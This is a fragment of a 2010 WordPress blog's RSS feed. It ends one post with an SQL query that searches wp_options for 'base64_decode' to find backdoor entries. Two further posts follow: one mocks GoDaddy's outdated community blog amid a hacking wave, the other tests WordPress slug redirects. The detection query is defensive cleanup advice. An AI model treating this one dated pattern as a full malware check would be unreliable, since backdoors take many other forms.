autoload <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span><span style="color: #FF00FF;">&#41;</span> <span style="color: #990099; font-weight: bold;">order by</span> option_id</pre></td></tr></table></div>

<p>So far the only legitimate entries I have found returned from that query were rss entries pulling in blog posts discussing the <a href="http://php.net/manual/en/function.base64-decode.php" target="_blank">base64_decode()</a> php function, so if you find an entry in the database that doesn&#8217;t look like someone&#8217;s blog post, odds are you are going to want to delete it.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>GoDaddy&#8217;s Suggestion For The Cause Of Their Hacks And Their Community Blog &#8211; Can You Smell The Irony?</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/05/14/godaddys-suggestion-for-the-cause-of-their-hacks-and-their-community-blog-can-you-smell-the-irony/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/05/14/godaddys-suggestion-for-the-cause-of-their-hacks-and-their-community-blog-can-you-smell-the-irony/#comments</comments>
		<pubDate>Fri, 14 May 2010 20:52:41 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[customer service]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=680</guid>
		<description><![CDATA[Yesterday I blogged about the hacking situation with GoDaddy hosting and a customer service call I had with them concerning some evidence I had found. While it is true that as this has progressed GoDaddy has widened their scope in investigating what the underlying cause of these hacks are, initially they claimed that the issue [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I blogged about the <a href="http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/" target="_blank">hacking situation with GoDaddy hosting</a> and a customer service call I had with them concerning some evidence I had found. While it is true that as this has progressed GoDaddy has widened their scope in investigating what the underlying cause of these hacks are, initially they claimed that the issue was with their customers running outdated versions of WordPress. While being wrong about something like that is usually not <em>that</em> big of a deal, in this particular instance it proved to be beyond irksome, since a large portion of their customer base were told that it was their own fault that their sites got hacked (even in cases where the customer was up to date), and that GoDaddy <a href="http://wordpress.org/support/topic/391658#post-1498431" target="_blank">was in no way to blame</a>:</p>
<blockquote><p>WordPress is a-ok. Go Daddy is rock solid. Neither were &#8216;hacked,&#8217; as some have speculated.</p>
<p>After an extensive investigation, we can report there was a small group of customers negatively impacted. What happened? Those users had outdated versions of the popular blogging software, set up in a particular way. &#8211; <em>Alicia from GoDaddy</em></p></blockquote>
<p>From what I have read around the web customers were being told that it was not GoDaddy&#8217;s responsibility to fix the sites, that they only offered &#8220;limited support&#8221; in situations like this, leaving people with only the option of restoring from a backup (which would often not help even in outdated WordPress hack situations, since hacks can go undetected for months) or hiring outside help to clean things up.</p>
<p>You can see on the support page they have set up, <a href="http://community.godaddy.com/godaddy/whats-up-with-go-daddy-wordpress-php-exploits-and-malware/" target="_blank">What’s Up with Go Daddy, WordPress, PHP Exploits and Malware?</a> that they still claim that outdated scripts are part of the problem. Going to that page and viewing the source reveals something almost unbelievable:</p>
<p><a href="/images/godaddy-outdated-wordpress-lg.png" target="_blank"><img src="/images/godaddy-outdated-wordpress-sm.png" border="0" alt="GoDaddy outdated software...?" onmouseup="hl2l(event);"></a><br />
(<em>click to enlarge</em>)</p>
<p>That&#8217;s right, in a classic &#8220;do as I say, not as I do&#8221; twist it seems that GoDaddy is in fact running an older version of WordPress (WordPress MU, based on the version number, which has the same security holes as regular WordPress) for their community blog that they are using to tell people to upgrade their WordPress versions.</p>
<p>To be fair, simply having an older version of WordPress does not mean that it is automatically insecure&#8230; the security fixes in the more recent versions may be minor and the known vulnerabilities might have been manually patched. I can&#8217;t know without actually digging deeper and <em>looking</em> if in fact the installation was vulnerable.</p>
<p>Then again&#8230; neither can GoDaddy in the case of their customers.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/05/14/godaddys-suggestion-for-the-cause-of-their-hacks-and-their-community-blog-can-you-smell-the-irony/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Test of WordPress&#8217;s Default Slug Redirect: 301 or 302?</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 15:06:34 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=651</guid>
		<description><![CDATA[Just a quick test to see if WordPress by defaults redirects slug changes using a 301 or 302 redirect. The original url for this post is: http://smackdown.blogsblogsblogs.com/2010/03/18/test-of-wordpress-default-slug-redirect-301-or-302/ and I am going to change it to: http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/ Results: Using the Bad Neighborhood Header Detector we can see that WordPress does in fact use a 301 redirect [...]]]></description>
			<content:encoded><![CDATA[<p>Just a quick test to see if WordPress by defaults redirects slug changes using a 301 or 302 redirect. The original url for this post is:</p>
<p><a href="http://smackdown.blogsblogsblogs.com/2010/03/18/test-of-wordpress-default-slug-redirect-301-or-302/">http://smackdown.blogsblogsblogs.com/2010/03/18/test-of-wordpress-default-slug-redirect-301-or-302/</a></p>
<p>and I am going to change it to:</p>
<p><a href="http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/">http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/</a></p>
<p><span id="more-651"></span><strong>Results:</strong> Using the <a href="http://www.bad-neighborhood.com/header_detector.php" target="_blank">Bad Neighborhood Header Detector</a> we can see that WordPress does in fact use a 301 redirect redirect by default when changing a url slug (at least, WordPress 2.9.2 does, since I upgraded just before this test):</p>
<p>&nbsp;</p>
<p><img src="/images/wordpress-301-redirect.png" onmouseup="hl2l(event);" alt="Wordpress 301 slug redirect" border="0"></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
	</channel>
</rss>

